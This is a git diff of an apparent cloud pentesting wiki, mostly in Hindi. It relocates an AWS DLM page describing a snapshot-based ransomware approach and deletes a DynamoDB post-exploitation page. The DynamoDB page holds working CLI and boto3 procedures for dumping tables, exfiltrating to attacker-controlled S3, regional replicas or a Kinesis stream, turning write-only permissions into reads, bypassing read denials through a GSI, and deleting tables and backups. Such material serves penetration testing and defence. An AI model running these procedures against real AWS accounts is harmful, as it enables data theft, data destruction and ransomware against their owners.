diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
deleted file mode 100644
index 6d1bc4c18..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DLM पोस्ट एक्सप्लोइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## डेटा लाइफसाइकिल प्रबंधक (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-एक रैनसमवेयर हमला तब किया जा सकता है जब जितने संभव हो सके EBS वॉल्यूम को एन्क्रिप्ट किया जाए और फिर वर्तमान EC2 इंस्टेंस, EBS वॉल्यूम और स्नैपशॉट को मिटा दिया जाए। इस दुर्भावनापूर्ण गतिविधि को स्वचालित करने के लिए, कोई Amazon DLM का उपयोग कर सकता है, स्नैपशॉट को दूसरे AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट को एक अलग खाते में स्थानांतरित करके। वैकल्पिक रूप से, वे बिना एन्क्रिप्शन के स्नैपशॉट को एक ऐसे खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर वहां उन्हें एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम या स्नैपशॉट को सीधे एन्क्रिप्ट करना सीधा नहीं है, लेकिन एक नया वॉल्यूम या स्नैपशॉट बनाकर ऐसा करना संभव है।
-
-सबसे पहले, कोई वॉल्यूम पर जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार।
-
-`aws ec2 describe-volumes`
-
-दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल होते हैं, जैसे कि लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा।
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-नीति दस्तावेज़ के लिए एक टेम्पलेट यहाँ देखा जा सकता है:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
new file mode 100644
index 000000000..77b1123dc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+
+Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+
+`aws ec2 describe-volumes`
+
+Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+नीति दस्तावेज़ के लिए एक टेम्पलेट यहाँ देखा जा सकता है:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
deleted file mode 100644
index 6b74cd4dd..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ /dev/null
@@ -1,535 +0,0 @@
-# AWS - DynamoDB Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## DynamoDB
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:BatchGetItem`
-
-इस अनुमति के साथ एक हमलावर **तालिकाओं से प्राथमिक कुंजी द्वारा आइटम प्राप्त** कर सकेगा (आप सीधे तालिका का सारा डेटा नहीं माँग सकते)। इसका मतलब है कि आपको प्राथमिक कुंजियाँ पता होनी चाहिए (आप यह तालिका के मेटाडेटा को प्राप्त करके पता कर सकते हैं (`describe-table`) )।
-
-{{#tabs }}
-{{#tab name="json file" }}
-```bash
-aws dynamodb batch-get-item --request-items file:///tmp/a.json
-
-// With a.json
-{
-"ProductCatalog" : { // This is the table name
-"Keys": [
-{
-"Id" : { // Primary keys name
-"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
-}
-}
-]
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="inline" }}
-```bash
-aws dynamodb batch-get-item \
---request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
---region 
-```
-{{#endtab }}
-{{#endtabs }}
-
-**Potential Impact:** टेबल में संवेदनशील जानकारी खोजकर अप्रत्यक्ष privesc
-
-### `dynamodb:GetItem`
-
-**पिछली अनुमतियों के समान** यह अनुमति देता है कि संभावित attacker केवल 1 टेबल से एंट्री की प्राथमिक कुंजी दिए जाने पर मान पढ़ सके:
-```json
-aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
-
-// With a.json
-{
-"Id" : {
-"N": "205"
-}
-}
-```
-इस अनुमति के साथ यह भी संभव है कि **`transact-get-items`** विधि का उपयोग इस तरह किया जा सकता है:
-```json
-aws dynamodb transact-get-items \
---transact-items file:///tmp/a.json
-
-// With a.json
-[
-{
-"Get": {
-"Key": {
-"Id": {"N": "205"}
-},
-"TableName": "ProductCatalog"
-}
-}
-]
-```
-**Potential Impact:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
-
-### `dynamodb:Query`
-
-**Similar to the previous permissions** यह अनुमति देता है कि एक संभावित attacker, दिए गए entry की primary key के आधार पर केवल 1 table से मान पढ़ सके। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का प्रयोग करने देता है, लेकिन primary key (जो मौजूद होना चाहिए) के साथ केवल "EQ" तुलना की अनुमति है, इसलिए आप किसी अनुरोध में पूरा DB प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
-
-{{#tabs }}
-{{#tab name="json file" }}
-```bash
-aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
-
-// With a.json
-{
-"Id" : {
-"ComparisonOperator":"EQ",
-"AttributeValueList": [ {"N": "205"} ]
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="inline" }}
-```bash
-aws dynamodb query \
---table-name TargetTable \
---key-condition-expression "AttributeName = :value" \
---expression-attribute-values '{":value":{"S":"TargetValue"}}' \
---region 
-```
-{{#endtab }}
-{{#endtabs }}
-
-**संभावित प्रभाव:** अप्रत्यक्ष privesc — तालिका में संवेदनशील जानकारी का पता लगाकर
-
-### `dynamodb:Scan`
-
-आप इस अनुमति का उपयोग करके पूरी तालिका को आसानी से dump कर सकते हैं।
-```bash
-aws dynamodb scan --table-name  #Get data inside the table
-```
-**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
-
-### `dynamodb:PartiQLSelect`
-
-आप इस अनुमति का उपयोग करके **पूरी टेबल आसानी से dump कर सकते हैं**।
-```bash
-aws dynamodb execute-statement \
---statement "SELECT * FROM ProductCatalog"
-```
-यह अनुमति `batch-execute-statement` जैसे कमांड भी चलाने की अनुमति देती है:
-```bash
-aws dynamodb batch-execute-statement \
---statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
-```
-लेकिन आपको primary key के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है।
-
-**Potential Impact:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
-
-### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-
-यह अनुमति एक हमलावर को **पूरी तालिका को अपनी पसंद के S3 bucket में export करने** की अनुमति देगी:
-```bash
-aws dynamodb export-table-to-point-in-time \
---table-arn arn:aws:dynamodb:::table/TargetTable \
---s3-bucket  \
---s3-prefix  \
---export-time  \
---region 
-```
-ध्यान दें कि यह काम करने के लिए table में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि table में यह सक्षम है या नहीं:
-```bash
-aws dynamodb describe-continuous-backups \
---table-name 
-```
-यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति चाहिए:
-```bash
-aws dynamodb update-continuous-backups \
---table-name  \
---point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
-```
-**Potential Impact:** table में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
-
-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-
-इन permissions के साथ, एक attacker **बैकअप से एक नया table बना सकता है** (या यहाँ तक कि एक backup बना कर उसे किसी दूसरे table में restore भी कर सकता है)। फिर, आवश्यक permissions के साथ, वह बैकअप्स से उन **जानकारियों** की जाँच कर सकेगा जो **production table में अब मौजूद नहीं रह सकतीं**।
-```bash
-aws dynamodb restore-table-from-backup \
---backup-arn  \
---target-table-name  \
---region 
-```
-**Potential Impact:** Indirect privesc द्वारा तालिका बैकअप में संवेदनशील जानकारी का पता लगाना
-
-### `dynamodb:PutItem`
-
-यह अनुमति उपयोगकर्ताओं को तालिका में **नई आइटम जोड़ने या किसी मौजूदा आइटम को नई आइटम से बदलने** की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला कोई आइटम पहले से मौजूद है, तो **पूरा आइटम नई आइटम से बदल दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**।
-
-{{#tabs }}
-{{#tab name="XSS Example" }}
-```bash
-## Create new item with XSS payload
-aws dynamodb put-item --table  --item file://add.json
-### With add.json:
-{
-"Id": {
-"S": "1000"
-},
-"Name": {
-"S":  "Marc"
-},
-"Description": {
-"S": ""
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="AI Example" }}
-```bash
-aws dynamodb put-item \
---table-name ExampleTable \
---item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
---region 
-```
-{{#endtab }}
-{{#endtabs }}
-
-**Potential Impact:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से आगे की vulnerabilities/bypasses का Exploitation
-
-### `dynamodb:UpdateItem`
-
-यह अनुमति उपयोगकर्ताओं को किसी item के मौजूदा attributes को **modify** करने या item में नए attributes **add** करने की अनुमति देती है। यह पूरे item को **replace** नहीं करता; यह केवल निर्दिष्ट attributes को अपडेट करता है। अगर तालिका में प्राथमिक कुंजी मौजूद नहीं है, तो ऑपरेशन निर्दिष्ट प्राथमिक कुंजी के साथ एक **नई आइटम बनाएगा** और update expression में बताए गए attributes सेट करेगा।
-
-{{#tabs }}
-{{#tab name="XSS Example" }}
-```bash
-## Update item with XSS payload
-aws dynamodb update-item --table  \
---key file://key.json --update-expression "SET Description = :value" \
---expression-attribute-values file://val.json
-### With key.json:
-{
-"Id": {
-"S": "1000"
-}
-}
-### and val.json
-{
-":value": {
-"S": ""
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="AI Example" }}
-```bash
-aws dynamodb update-item \
---table-name ExampleTable \
---key '{"Id": {"S": "1"}}' \
---update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
---expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
---region 
-```
-{{#endtab }}
-{{#endtabs }}
-
-**Potential Impact:** DynamoDB table में डेटा जोड़ने/संपादित करने में सक्षम होने के कारण अन्य कमजोरियों/बायपास का शोषण
-
-### `dynamodb:DeleteTable`
-
-इस अनुमति वाले हमलावर इस अधिकार का उपयोग करके **DynamoDB table को हटा सकता है, जिससे डेटा हानि होगी**।
-```bash
-aws dynamodb delete-table \
---table-name TargetTable \
---region 
-```
-**संभावित प्रभाव**: हटाए गए टेबल पर निर्भर सेवाओं में डेटा हानि और व्यवधान।
-
-### `dynamodb:DeleteBackup`
-
-इस अनुमति वाले attacker **DynamoDB बैकअप को हटा सकते हैं, जो आपदा पुनर्प्राप्ति स्थिति में संभावित रूप से डेटा हानि का कारण बन सकता है।**
-```bash
-aws dynamodb delete-backup \
---backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
---region 
-```
-**Potential impact**: डेटा क्षति और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्ति करने में असमर्थता।
-
-### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
-
-> [!NOTE]
-> TODO: जाँचें कि क्या यह वास्तव में काम करता है
-
-An attacker with these permissions can **DynamoDB table पर एक stream सक्षम कर सकता है, table को अपडेट करके परिवर्तन स्ट्रीमिंग शुरू कर सकता है, और फिर stream को access करके रियल-टाइम में table के परिवर्तनों की निगरानी कर सकता है**। यह attacker को डेटा परिवर्तनों की निगरानी और exfiltrate करने की अनुमति देता है, संभावित रूप से data leakage की ओर ले जाता है।
-
-1. DynamoDB table पर stream सक्षम करें:
-```bash
-aws dynamodb update-table \
---table-name TargetTable \
---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
---region 
-```
-2. स्ट्रीम का वर्णन करें ताकि ARN और अन्य विवरण प्राप्त किए जा सकें:
-```bash
-aws dynamodb describe-stream \
---table-name TargetTable \
---region 
-```
-3. stream ARN का उपयोग करके shard iterator प्राप्त करें:
-```bash
-aws dynamodbstreams get-shard-iterator \
---stream-arn  \
---shard-id  \
---shard-iterator-type LATEST \
---region 
-```
-4. shard iterator का उपयोग करके stream से डेटा तक पहुँचें और उसे exfiltrate करें:
-```bash
-aws dynamodbstreams get-records \
---shard-iterator  \
---region 
-```
-**Potential impact**: वास्तविक समय की निगरानी और DynamoDB तालिका में परिवर्तनों का data leakage.
-
-### `dynamodb:UpdateItem` और `ReturnValues=ALL_OLD` के माध्यम से आइटम पढ़ें
-
-एक हमलावर जिसके पास किसी टेबल पर केवल `dynamodb:UpdateItem` अनुमति है, सामान्य पढ़ने की अनुमतियाँ (`GetItem`/`Query`/`Scan`) होने के बिना भी एक हानिरहित अपडेट करके और `--return-values ALL_OLD` अनुरोध करके आइटम पढ़ सकता है। DynamoDB प्रतिक्रिया के `Attributes` फ़ील्ड में आइटम की पूर्ण pre-update image लौटाएगा (यह RCUs का उपभोग नहीं करता)।
-
-- न्यूनतम अनुमतियाँ: लक्ष्य तालिका/की पर `dynamodb:UpdateItem`।
-- पूर्वापेक्षाएँ: आपको आइटम की प्राथमिक कुंजी पता होनी चाहिए।
-
-उदाहरण (एक हानिरहित attribute जोड़ता है और response में previous item को exfiltrates करता है):
-```bash
-aws dynamodb update-item \
---table-name  \
---key '{"":{"S":""}}' \
---update-expression 'SET #m = :v' \
---expression-attribute-names '{"#m":"exfil_marker"}' \
---expression-attribute-values '{":v":{"S":"1"}}' \
---return-values ALL_OLD \
---region 
-```
-CLI प्रतिक्रिया में एक `Attributes` ब्लॉक शामिल होगा जिसमें पूरा पिछला आइटम (सभी attributes) होगा, जो प्रभावी रूप से write-only एक्सेस से एक read primitive प्रदान करता है।
-
-**Potential Impact:** केवल write permissions के साथ किसी table से arbitrary items पढ़ने की क्षमता, जिससे जब primary keys ज्ञात हों तो संवेदनशील डेटा exfiltration संभव हो जाता है।
-
-
-### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
-
-एक नया replica Region जोड़कर stealth exfiltration की जा सकती है किसी DynamoDB Global Table (version 2019.11.21) में। यदि कोई principal एक regional replica जोड़ सकता है, तो पूरा table attacker-चयनित Region में replicate हो जाएगा, जहाँ से attacker सभी items पढ़ सकता है।
-
-{{#tabs }}
-{{#tab name="PoC (default DynamoDB-managed KMS)" }}
-```bash
-# Add a new replica Region (from primary Region)
-aws dynamodb update-table \
---table-name  \
---replica-updates '[{"Create": {"RegionName": ""}}]' \
---region 
-
-# Wait until the replica table becomes ACTIVE in the replica Region
-aws dynamodb describe-table --table-name  --region  --query 'Table.TableStatus'
-
-# Exfiltrate by reading from the replica Region
-aws dynamodb scan --table-name  --region 
-```
-{{#endtab }}
-{{#tab name="PoC (customer-managed KMS)" }}
-```bash
-# Specify the CMK to use in the replica Region
-aws dynamodb update-table \
---table-name  \
---replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \
---region 
-```
-{{#endtab }}
-{{#endtabs }}
-
-अनुमतियाँ: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` लक्षित टेबल पर। यदि CMK का उपयोग replica में किया गया है, तो उस key के लिए KMS अनुमतियाँ आवश्यक हो सकती हैं।
-
-संभावित प्रभाव: किसी हमलावर-नियंत्रित Region में पूरा-टेबल replication, जिससे गुप्त रूप से डेटा exfiltration हो सकता है।
-
-### `dynamodb:TransactWriteItems` (failed condition के जरिए पढ़ना + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
-
-Transactional write privileges वाला हमलावर किसी मौजूदा आइटम के पूरे attributes exfiltrate कर सकता है, अगर वह `TransactWriteItems` के अंदर एक `Update` अंजाम देता है जो जानबूझकर `ConditionExpression` पर असफल हो और साथ में `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट किया गया हो। असफलता पर, DynamoDB लेन-देन रद्द करने के कारणों में पहले के attributes शामिल कर देता है, जिससे लक्षित keys के लिए केवल-लेखन पहुँच को प्रभावी रूप से पढ़ने की पहुँच में बदल दिया जाता है।
-
-{{#tabs }}
-{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
-```bash
-# Create the transaction input (list form for --transact-items)
-cat > /tmp/tx_items.json << 'JSON'
-[
-{
-"Update": {
-"TableName": "",
-"Key": {"": {"S": ""}},
-"UpdateExpression": "SET #m = :v",
-"ExpressionAttributeNames": {"#m": "marker"},
-"ExpressionAttributeValues": {":v": {"S": "x"}},
-"ConditionExpression": "attribute_not_exists()",
-"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
-}
-}
-]
-JSON
-
-# Execute. Newer AWS CLI versions support returning cancellation reasons
-aws dynamodb transact-write-items \
---transact-items file:///tmp/tx_items.json \
---region  \
---return-cancellation-reasons
-# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
-```
-{{#endtab }}
-{{#tab name="PoC (boto3)" }}
-```python
-import boto3
-c=boto3.client('dynamodb',region_name='')
-try:
-c.transact_write_items(TransactItems=[{ 'Update': {
-'TableName':'',
-'Key':{'':{'S':''}},
-'UpdateExpression':'SET #m = :v',
-'ExpressionAttributeNames':{'#m':'marker'},
-'ExpressionAttributeValues':{':v':{'S':'x'}},
-'ConditionExpression':'attribute_not_exists()',
-'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
-except c.exceptions.TransactionCanceledException as e:
-print(e.response['CancellationReasons'][0]['Item'])
-```
-{{#endtab }}
-{{#endtabs }}
-
-अनुमतियाँ: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required।
-
-संभावित प्रभाव: केवल transactional write privileges का उपयोग करके, लौटाए गए cancellation reasons के माध्यम से, एक table से arbitrary items (primary key द्वारा) पढ़ सकते हैं।
-
-
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
-
-एक low-entropy attribute पर `ProjectionType=ALL` के साथ Global Secondary Index (GSI) बनाकर read प्रतिबंध बायपास करें, उस attribute को सभी items में एक constant value पर सेट करें, फिर full items प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` deny किया गया हो, बशर्ते आप index ARN को query कर सकें।
-
-- न्यूनतम अनुमतियाँ:
-- `dynamodb:UpdateTable` टार्गेट टेबल पर (GSI बनाने के लिए जिसमें `ProjectionType=ALL` होगा)।
-- `dynamodb:UpdateItem` टार्गेट टेबल की keys पर (प्रत्येक item पर indexed attribute सेट करने के लिए)।
-- `dynamodb:Query` index resource ARN पर (`arn:aws:dynamodb:::table//index/`).
-
-कदम (PoC in us-east-1):
-```bash
-# 1) Create table and seed items (without the future GSI attribute)
-aws dynamodb create-table --table-name HTXIdx \
---attribute-definitions AttributeName=id,AttributeType=S \
---key-schema AttributeName=id,KeyType=HASH \
---billing-mode PAY_PER_REQUEST --region us-east-1
-aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
-for i in 1 2 3 4 5; do \
-aws dynamodb put-item --table-name HTXIdx \
---item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
---region us-east-1; done
-
-# 2) Add GSI on attribute X with ProjectionType=ALL
-aws dynamodb update-table --table-name HTXIdx \
---attribute-definitions AttributeName=X,AttributeType=S \
---global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
---region us-east-1
-# Wait for index to become ACTIVE
-aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
---query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
-
-# 3) Set X="dump" for each item (only UpdateItem on known keys)
-for i in 1 2 3 4 5; do \
-aws dynamodb update-item --table-name HTXIdx \
---key "{\"id\":{\"S\":\"$i\"}}" \
---update-expression 'SET #x = :v' \
---expression-attribute-names '{"#x":"X"}' \
---expression-attribute-values '{":v":{"S":"dump"}}' \
---region us-east-1; done
-
-# 4) Query the index by the constant value to retrieve full items
-aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
---key-condition-expression '#x = :v' \
---expression-attribute-names '{"#x":"X"}' \
---expression-attribute-values '{":v":{"S":"dump"}}' \
---region us-east-1
-```
-**संभावित प्रभाव:** नए बनाए गए GSI को क्वेरी करके जो सभी attributes को प्रोजेक्ट करता है, full table exfiltration संभव है, यहां तक कि जब base table read APIs deny हों।
-
-
-### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams के माध्यम से लगातार exfiltration)
-
-DynamoDB Kinesis streaming destinations का दुरुपयोग करके तालिका के परिवर्तन लगातार attacker-controlled Kinesis Data Stream में exfiltrate किए जा सकते हैं। एक बार सक्षम होने पर, हर INSERT/MODIFY/REMOVE event लगभग रीयल-टाइम में stream को फॉरवर्ड हो जाता है, और इसके लिए table पर read permissions की आवश्यकता नहीं होती।
-
-न्यूनतम permissions (attacker):
-- `dynamodb:EnableKinesisStreamingDestination` लक्षित तालिका पर
-- वैकल्पिक रूप से `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` status मॉनिटर करने के लिए
-- attacker-owned Kinesis stream पर records को consume करने के लिए read permissions: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
-
-

-PoC (us-east-1)
-```bash
-# 1) Prepare: create a table and seed one item
-aws dynamodb create-table --table-name HTXKStream \
---attribute-definitions AttributeName=id,AttributeType=S \
---key-schema AttributeName=id,KeyType=HASH \
---billing-mode PAY_PER_REQUEST --region us-east-1
-aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
-aws dynamodb put-item --table-name HTXKStream \
---item file:///tmp/htx_item1.json --region us-east-1
-# /tmp/htx_item1.json
-# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
-
-# 2) Create attacker Kinesis Data Stream
-aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
-aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
-
-# 3) Enable the DynamoDB -> Kinesis streaming destination
-STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
---region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
-aws dynamodb enable-kinesis-streaming-destination \
---table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
-# Optionally wait until ACTIVE
-aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
---region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
-
-# 4) Generate changes on the table
-aws dynamodb put-item --table-name HTXKStream \
---item file:///tmp/htx_item2.json --region us-east-1
-# /tmp/htx_item2.json
-# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
-aws dynamodb update-item --table-name HTXKStream \
---key file:///tmp/htx_key_a1.json \
---update-expression "SET #i = :v" \
---expression-attribute-names {#i:info} \
---expression-attribute-values {:v:{S:updated}} \
---region us-east-1
-# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
-
-# 5) Consume from Kinesis to observe DynamoDB images
-SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
---query Shards[0].ShardId --output text)
-IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
---shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
-aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
-# Decode one record (Data is base64-encoded)
-jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
-
-# 6) Cleanup (recommended)
-aws dynamodb disable-kinesis-streaming-destination \
---table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
-aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
-aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
-```
-

-
